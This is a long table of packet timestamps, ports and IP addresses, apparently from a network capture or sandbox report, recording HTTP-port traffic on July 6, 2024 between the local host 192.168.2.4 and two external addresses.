Jul 6, 2024 14:10:19.290992975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291069031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291091919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291100025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291111946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291136980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291136980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291146994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291147947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291157961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291167974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291183949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291204929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291228056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291241884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291277885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291610003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291620016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291629076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291646004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291652918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291677952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291697025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291779995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291821003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291857004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291866064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291877031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.291894913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.291908979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.480284929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.480377913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.480442047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.480456114 CEST	80	49740	45.113.194.189	192.168.2.4
Jul 6, 2024 14:10:19.480467081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.480473042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.480478048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.480597019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.480628014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.480669022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.480676889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.480686903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.480709076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.480724096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.480879068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.480920076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.480943918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.480953932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.480981112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.480998993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481048107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481086969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481118917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481152058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481161118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481199980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481275082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481317043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481317043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481353998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481452942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481498003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481499910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481511116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481534004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481549025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481592894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481633902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481662035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481673002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481704950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481739998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481750011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481779099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481846094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481888056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.481923103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.481965065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.482000113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.482011080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.482047081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.482604980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.482630968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.482641935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.482650995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.482666016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.482686043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.482690096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.482721090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.482723951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.482753992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.482800961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.482811928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.482841015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.483033895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483057022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483067036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483078003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.483102083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.483210087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483261108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.483278036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483288050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483313084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.483325958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.483345985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483386040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.483417988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483428955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483464003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.483695030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483716965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483740091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.483755112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.483810902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483851910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.483930111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483943939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483952999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.483980894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.483998060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.484047890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484087944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.484116077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484154940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.484168053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484178066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484210014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.484276056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484286070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484319925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.484396935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484438896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.484466076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484476089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484505892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.484639883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484683990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.484688044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484719992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.484745026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484754086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484782934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.484894037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484936953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.484972000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.484982014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.485002041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.485012054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.485038996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.485068083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.485110998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.485177994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.485219955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.485276937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.485354900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.485363960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.485389948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.485399008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.485402107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.485415936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.485433102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.485450983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.535953999 CEST	49740	80	192.168.2.4	45.113.194.189
Jul 6, 2024 14:10:19.675185919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675246000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675292969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675303936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675314903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675337076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675339937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675363064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675394058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675426006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675436974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675447941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675462008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675481081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675482035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675498009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675514936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675514936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675553083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675678015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675689936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675702095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675724983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675731897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675759077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675781012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675806999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675817966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675843954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675851107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675860882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675872087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675873041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675884008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675893068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.675903082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.675932884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.676150084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.676192999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.676228046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.676239967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.676265955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.676274061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.676285028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.676301956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.676347017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.676357985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.676367998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.676378965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.676387072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.676414013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.676460028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.676469088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.676496029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.676537991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.676548004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.676577091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.676594973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.677154064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677162886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677200079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.677242994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677278042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677280903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.677289009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677314043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.677328110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.677341938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677376032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.677405119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677416086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677443027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.677457094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.677472115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677500010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677506924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.677509069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677535057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.677541018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677551031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677577972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.677748919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677791119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.677793980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.677822113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.678287029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.678308964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.678319931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.678325891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.678339958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.678355932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.678356886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.678388119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.678452015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.678463936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.678488970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.678500891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.678528070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.678539038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.678565979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.678580999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.679207087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.679245949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.679300070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.679311037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.679338932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.679352999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.679411888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.679425955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.679459095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.679459095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.679506063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.679517031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.679527044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.679550886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.679557085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.679564953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.679568052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.679600954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.679617882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.876878023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.876898050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.876909971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.876949072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.876983881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.877007961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.877017975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.877047062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.877069950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.877877951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.877909899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.877922058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.877933979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.877963066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.878326893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.878343105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.878354073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.878374100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.878390074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.878591061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.878684998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.878701925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.878740072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.878947973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.879002094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.879070044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.879111052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.879411936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.879457951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.879467010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.879478931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.879512072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.879925013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.879975080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.880012035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.880022049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.880052090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.880088091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.880100012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.880110979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.880124092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.880137920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.880240917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.880283117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.880314112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.880352020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:19.880686998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.880697012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:19.880736113 CEST	49732	80	192.168.2.4	211.108.60.155
